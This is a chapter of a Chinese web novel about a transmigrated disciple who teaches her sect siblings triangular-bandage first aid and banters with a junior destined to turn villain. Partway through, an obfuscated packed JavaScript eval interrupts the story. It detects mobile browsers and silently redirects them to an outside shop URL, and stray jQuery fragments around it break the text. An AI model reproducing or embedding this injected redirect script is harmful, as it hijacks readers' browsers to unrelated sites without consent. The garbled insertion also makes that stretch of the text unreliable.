“故人所赠。”谢晏重复了一遍,凝视着余庆手中竹笛,声音竟是异常地缱绻。
“那挺好的哈哈。”余庆心中升起一丝别样的复杂情感,苦涩的,轻舔唇边,将这种心思压下去,刨根问底一向不好。
“师姐,你倒是与其他弟子们说的越发不一样了。”谢晏似是随口一提。
余庆神经一紧,思索了一会儿,温声道:“有什么不一样的呢,我还是我,以我观物,故物皆着我之色彩1。你见我变了,或许只是你的心境变了,所以觉得我与之前大不一样了。”
谢晏挑眉疑惑,似是暗含期待余庆接下来所说的话。
“没事的,你年纪还小,多悟一些就知道了。”
谢晏笑着,悟之。
“昨夜,师尊将你留下说了些什么呢?”余庆思来想去,旁敲侧击不如自己直言相问,这个话题刚好合适,师姐关心师弟,非常正常的事。
“哦?师尊就问了下我平日里住行是否习惯,与师姐师兄相处可以么之类的问题。嘿嘿,多谢师姐关心。”
“那就好。”居然问得这么日常,还以为会说些“少年我看你骨骼清奇”之类的话呢。这位便宜师尊可真是给了余庆一些惊讶。
谢晏的眼睛一眨一眨的,似乎是期待余庆还会接着问些什么问题。
“师弟,你看着我的眼睛,你昨日里怎么也下了山呢?”余庆捕捉着谢晏的任何神情。
谢晏倒是直言不讳:“想见师姐。”
或许是他的神情炽热,余庆竟然被灼伤了似的移开眼。
“真真切切。”
“你为什么说大师兄身上也有魔气呢?”
“大师兄到是不分青红皂白,一上来就说我身上有股魔气,”谢晏眨巴眨巴眼睛,然后如此委屈的脸上提出一个致命问题,“师姐,你不会这么觉得的吧?”
不然呢,你是要成长为反派的角色呀!
“我……不知道。”余庆打量着谢晏的神色,又接上一句,“若是真心为他人好,是人是魔又有什么呢,正邪本就难以区分。”希望他日后不要走上原作的道路吧,更重要的是不要再来抓师姐了。
谢晏听了这句话略显安心,这才回答方才余庆的问题:“我只是对气息的感知更加敏锐了,像是师姐,通体的正气,只是大师兄身上掺杂着一些魔气。”
余庆:???这就是天赋怪么,直接感知出来的,还是说生为魔族有血脉压制。
谢晏不大开心,好端端地,提那个人做什么,便换了个话题:“师姐,你还记不记得你说过要教我那种包扎术的。”
“我记得的,”余庆自言自语,“我想想,需要一条三角巾。”
余庆怕谢晏不懂,用手比划了下,围成一个三角形:“诺,就是这样,周边像是用三条线围成的。”也不知道这个世界有没有基础的数学概念。
“这名字倒是务实。”
至于布从哪里来?屋内倒是有,端端正正地叠着,只需要一把剪刀就行了。再不济,用剑划两下吧。
*
树摇影斜。
回室内时,碰见了花言蹊垂坐在路旁。
“言蹊,这是接了什么困难的任务吗?”余庆上前关怀。
花言蹊眼神一亮,拉着余庆的衣袖,伤心道:“庆姐姐,大师兄只是让我去采购一些工具之类的。”
“他……没有给你采购的资金?”余庆思考着有什么可以让花言蹊为难的地方。
“大师兄他就没有想过让我下山斩妖除魔吗?”
或许是花言蹊的神情太过生动,竟有一片金光打在余庆的脸上,让余庆感受到了正义的力量。
余庆安慰道:“这个任务完成之后就会让你去打怪了。”
“真的吗?”花言蹊可怜兮兮。
“对,所以证明给他看吧,你会用最少的钱采购最多最好的工具。让大师兄明白吧,你已经明白世间所有的规则。下山舍你其谁!”余庆义正言辞。
花言蹊不懂,但深受震撼。
谢晏噗嗤一笑。师姐忽悠人的本事还是没变。
“庆姐姐,小师弟,你们要去做什么?”
余庆如实告知。
花言蹊眨眨眼,大嚷着自己也要学。
余庆早已料到,颔首。
“庆姐姐,你是在哪里学到的,我怎么不知道呢。”
“书上读到的,平时叫你多读书,看吧。”余庆玩笑道,这句话不假,确实是读书时看到的。
谢晏表示好奇:“师姐,这是哪本书呢,我也想拜读一下。”
“我看过的书实在太乱了,我也找不到了。”一不小心又给自己挖下一个坑,余庆提醒自己日后要多多注意谢晏的套话。
室内。
余庆翻找出那布匹,纯色,手感一般,看不出什么特别之处。
花言蹊惊讶道:“庆姐姐,这个你也不要了么?你不心疼么?”
余庆垂眸看看手中的布匹,这个并不是自己的,并不觉得有多心疼。很多事物,在一开始感到新鲜,会热烈地追求一段时间,拥有之后、稳定之后就和其他的没什么两样了。并且根据自己看穿书文的设定,原主最后不会回来了,应该也就不会去心疼这些布匹了。
“师姐今日喜欢剪布匹,日后我多送些布给师姐好了。”
花言蹊关注错重点:“小师弟就是豪气。”
“我不是妺喜啊。”也不知道这个世界在设定上有没有那些古人物。
“谁?”花言蹊疑惑。
果然没有。
“古籍上记载的夏桀的妃子,你确实该多读些书了。”谢晏附和。
这下花言蹊可不开心了,嚷嚷着要解释清楚。
谢晏解释了一遍。
这下余庆明白了,在这个世界里,非常古远的历史与现代是一样的,只是中间断层了,那些久远的历史便只在古籍上有所记载。
“关于手臂的包扎,需要一条无菌纱布,额,就是用洁白的布止血,先用这个代替一下吧,然后再将三角巾折叠成四指的宽度,”余庆试着用这个世界的词语解释,左右扫了两眼,将目光落在花言蹊身上,“言蹊,你伸出手来,我包扎一下。”
花言蹊闻言支手。
余庆固定三角巾后将剩下的布料一圈一圈缠绕,结打在手臂外侧。“……打成这样子的结,注意不要太紧,观察对方的手指血流。”余庆这次动作慢了许多、轻柔了许多,这个结打得比上次漂亮多了,大概是因为时间充裕了些,“患者”不会让自己很紧张吧。
谢晏极其捧场。
花言蹊低头看看自己的手臂,疑惑道:“庆姐姐,你扎得太松了,而且,距离伤口太下面了。”
余庆:“……”我该怎么解释血液循环的原理。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912044|213151||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>余庆想了想,摸摸花言蹊的头,道:“气血沿手臂到手指,你扎太紧了,气血不就流不通了么;再者,你扎在伤口上面,气血怎么到手臂下面呢。”
花言蹊若有所思地点点头。
谢晏:“曾经确实听说过这种说法。”
余庆手中还有几条粗制的三角巾,若是告诉他们一些科学的包扎方法也好。
“我还在书上知晓了一种用于包扎头部的,也是用这三角巾,”余庆继续看向花言蹊,她头上的装饰较多,犹豫着要不要让她摘掉一些。
花言蹊察觉到余庆的目光,道:“庆姐姐,这次还是让小师弟来吧。”
谢晏倒是一副期待的模样,仿佛不经意间便会长出一对毛茸茸的耳朵与一条尾巴。
余庆反复告诉自己淡定,自己并不是没有和异性接触过,便让谢晏继续坐着,站到谢晏身后。
寻常古人束发戴冠,原作中没有那么讲究,怎么好看怎么来,像是谢晏,发丝散落,刘海却不知怎么地打理得这么蓬松,让余庆偷偷羡慕。
“先覆盖头顶,再将这两缕绕到脑后交叉再绕回前额打结,后面的顶翻折塞进去,”余庆不知不觉间语速快了许多,“要注意露出眉眼、双耳,好观察血色。”
这个造型,没有了刘海的加持,像是寸头般考验脸型与五官。余庆像是小孩子恶作剧得逞般勾起一侧唇角,转至谢晏面前。
有匪君子,如切如磋,如琢如磨2,除此之外,找不到其余的形容词。
建模脸轻笑:“师姐,你又看呆了。”
余庆厚着脸皮回道:“你很好看。”
“我的师姐才是世界上最好看的人!”
谢晏的声音清冽,似山间的清泉,又似送信的清风,她在风中听到了落荒而逃的声音,终是扯了扯唇角:“少耍嘴皮子。”
“……”
花言蹊:Σ(⊙▽⊙"a
“师姐学习的知识真是博广。”
“这倒没有,每日里读书总是盼望着下课,这样子一日复一日,竟然为了想着让时间快点过去而不好好享受时间与年轻,倒不如坦然接受,吾爱上课,吾爱学习。”余庆默默给了自己一肘击,脑子转不灵活了,泄露了这么多信息。
“不喜欢就不做,为什么要强迫自己。”谢晏疑惑,不过他在这个话题里倒是有着足够的自信。
“唔,世间有一套它的标准,但并不是所有人都是适合的,只不过为了在这一套体系里不显得异类,只有鞭策自己。”不像是你在这个有法术的世界里天赋异禀。
见谢晏不说话,“我方才说得太消极了,倒也不全是……”
谢晏启唇,露出一个大大的笑容:“不过师姐并不是无力选择之人。”
“那确实。”像是之前一样,在规则之内,我会有许多的小动作。余庆心安。
“你们讨论的我越发听不懂了。”花言蹊扯了扯余庆的衣角,“我得去完成大师兄嘱托的任务。”
见花言蹊迷迷糊糊的,余庆道:“我随你一起吧。”
余庆遂拉着花言蹊走。
花言蹊本蹲在地上,任由余庆拉着。
鬼使神差之下,余庆回头对谢晏笑道:“你跟过来不?”
“乐意之至。”谢晏跟上。
“先把三角巾拆了。”
一路上说说笑笑,夕阳把三人的影子拉得老长。